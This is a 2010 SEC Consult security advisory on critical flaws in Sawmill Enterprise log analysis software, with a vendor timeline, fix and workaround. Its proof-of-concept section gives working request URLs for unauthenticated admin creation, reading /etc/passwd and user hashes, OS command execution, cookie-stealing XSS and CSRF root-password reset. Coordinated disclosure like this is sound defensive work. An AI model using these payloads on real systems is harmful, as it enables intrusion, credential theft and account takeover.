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SEC Consult Security Advisory < 20101021-0 > ======================================================================= title: Multiple critical vulnerabilities product: Sawmill - Universal Log File Analysis vulnerable version: Sawmill Enterprise < v8.1.7.3 fixed version: v8.1.7.3 impact: critical homepage: http://www.sawmill.net found: 2010-07-20 by: J. Greil / SEC Consult / www.sec-consult.com ======================================================================= Vendor description: ------------------- "Sawmill is universal log analysis software that runs on every major platform. It can process almost any type of log data. The reports that Sawmill generates are hierarchical, attractive, and heavily cross-linked for easy navigation. Complete documentation is built directly into the program." source: http://www.sawmill.net/features.html Vulnerability overview/description: ----------------------------------- Sawmill suffers from multiple critical vulnerabilities which allow an _unauthenticated_ attacker to gain administrative rights. Furthermore it is possible to access (RW) the file system and execute arbitrary commands on the operating system without authentication. Attackers with valid accounts are able to reset the root password or add/delete log profiles, view and manipulate admin settings etc. It must be noted that further vulnerabilities are to be expected within the software (such as buffer overflows, etc.). Due to lack of time no further vulnerabilities could be searched. 1) Unauthenticated access to critical functions Unauthenticated attackers are e.g. able to create new user accounts with administrative "Manager" roles. It is possible to exploit the built-in "salang" scripting language to read/write files on the file system (e.g. user configuration with MD5 hashes), connect to other internal systems or execute arbitrary operating system commands. 2) Insufficient validation of user access rights Users with standard access rights/roles (e.g. "Statistics Visitor") are able to access functions or methods of the Sawmill application where they shouldn't have access to (default permissions of installation). "Statistics visitor" users are able to access administrative functions or admin menus in order to gain sensitive information or even manipulate settings, create new profiles or delete profiles. The creation of new profiles also results in a denial-of-service (temporarily until admin deletes profiles) if more profiles are being created than the license currently allows. It is possible to access the Sawmill setup page in order to reset the Sawmill root username and password with a standard user account. A standard user is also able to gain access to more functions within the interface (e.g. regarding profiles) just by changing local JavaScript variables, e.g. through an intercepting proxy server. 3) XSS / CSRF There are many parameters which are not properly sanitised and vulnerable to XSS. Furthermore no protection against CSRF is in place which e.g. allows remote attackers to reset the root password by e.g. exploiting the vulnerabilities in section 1 or 2. Proof of concept: ----------------- 1) Unauthenticated access to critical functions * Create a user account with admin rights: http://$host/?a=cu&u=testing&pw=testing&roles=role_1 * Read files of the file system: http://$host/?a=ee&exp=error(read_file('/etc/passwd')) http://$host/?a=ee&exp=error(read_file('LogAnalysisInfo/users.cfg')) (error() call is needed to print the output within the web interface instead of stdout) * Write files: E.g. use the write_file() method * Execute OS commands: http://$host/?a=ee&exp=exec('/bin/ls','Output',1)) (exec() only returns PID and no output. I'll leave it to the creativity of the reader to further exploit this :)) 2) Insufficient validation of user access rights * Access to the "new profile wizard" including file browser as standard "Statistics viewer" user: This feature also allows to choose arbitrary files as log analysis input and to disclose its contents then (file disclosure): http://$host/?dp+templates.new_profile_wizard.index * Access the Sawmill setup page to reset Sawmill root password: http://$host/?dp=templates.setup * Gain sensitive information, such as config/user settings: http://$host/?dp=templates.admin_pages.users.get_data&v.fp.is_root_admin=true&v.fp.is_unlimited_grants=true http://$host/?dp=templates.admin_pages.root_admin.get_data [... see file system for further pages ...] * Manipulate/create/delete user accounts: POST /?dp+templates.admin_pages.users.save_data Host: $host v.fp.is_enterprise=true &v.fp.deleted_users= &v.fp.users.user_1.is_new=false &v.fp.users.user_1.username=xxxxx &v.fp.users.user_1.password= &v.fp.users.user_1.language= &v.fp.users.user_1.created_by_user=root_admin &v.fp.users.user_1.access.0.all_profiles=false &v.fp.users.user_1.access.0.created_by_user=root_admin &v.fp.users.user_1.access.0.profiles=testprofile &v.fp.users.user_1.access.0.roles.0=role_2 &v.fp.users.user_1.auto_direct_to_reports_after_login=false &v.fp.users.user_1.report_filters.all_profiles.filter_expression= [...] * Changing local variables: By changing the local JS variables "isrootAdmin", "isAdd", "isDelete", etc. from "false" to "true" an attacker is able to unlock "hidden" features and e.g. is able to manipulate other profiles on the index page (other profiles can be deleted!). 3) XSS (valid session necessary, payload will be auto-executed after login) http://$host/?dp=reports&p=testprofile&wbsi=";alert(document.cookie);// http://$host/?dp=reports&p=testprofile&rii=";alert(123);//&wbsi=1279796468489657 Unauthenticated XSS: http://$host/?dp=printer_friendly_report&%253cscript%253ealert%281%29%253c/script%253e=1 CSRF to reset root account to chosen password (valid standard user session necessary): http://$host/?dp=templates.setup&volatile.fp.setup_directive=finish&volatile.fp.license_key=&volatile.fp.username=root&volatile.fp.password=test&volatile.fp.trial_licensing_features=&volatile.fp.talkback=false&volatile.is_server_background_call=true Vulnerable / tested versions: ----------------------------- Sawmill Enterprise v8.1.5.1 (running on Linux) Older versions may be vulnerable too, but have not been tested as v8.1.5.1 is the latest version available at the time of testing (July 2010). During the time of fixing, v8.1.6.3 has been tested shortly and the most critical flaws have not yet been fixed in this version. Furthermore, some pre-release builds after v8.1.6.3 have been shortly tested too. Vendor contact timeline: ------------------------ 2010-07-29: Contacting Sawmill via email and asking for a security contact (sales@ and support () sawmill co uk) 2010-07-29: Quick reply of Sawmill Sales and Support team Sent advisory to given contact 2010-07-29: Again quick reply of given contact with estimated fixing time (early September with next release 8.1.6) 2010-07-30: Confirmation of vulnerabilities from vendor 2010-08-02: Asking for information which Sawmill versions are affected 2010-08-12: Vendor: Fixing is in progress, version info will be collected in an internal document 2010-09-01: Vendor: problems mostly fixed in upcoming 8.1.6 in about two weeks 2010-09-07: New release 8.1.6.3 available, does not fix critical vulnerabilities 2010-09-08: Pre-release version available, very shortly checked for fix of critical vulnerabilities, 8.1.7 is scheduled, XSS still possible 2010-09-21/24: v8.1.7 will be released soon, fixes most critical bugs. Short-term plan to implement URL parameter filtering against XSS in future versions 2010-10-01: Sending new advisory draft to sawmill for review 2010-10-07: v8.1.7 still under QA 2010-10-13: v8.1.7.3 is available: Fixes reported flaws, CSRF protection will come in future releases. 2010-10.21: Coordinated release date Special thanks to Greg! Solution: --------- Upgrade to the latest available version v8.1.7.3 http://www.sawmill.co.uk/downloads.html Workaround: ----------- Restrict access to the software as much as possible. Only allow trusted IP addresses and users in order to minimise attack surface. No other proper workaround is available. Advisory URL: ------------- https://www.sec-consult.com/advisories_e.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com www.sec-consult.com EOF J. Greil / @2010 |
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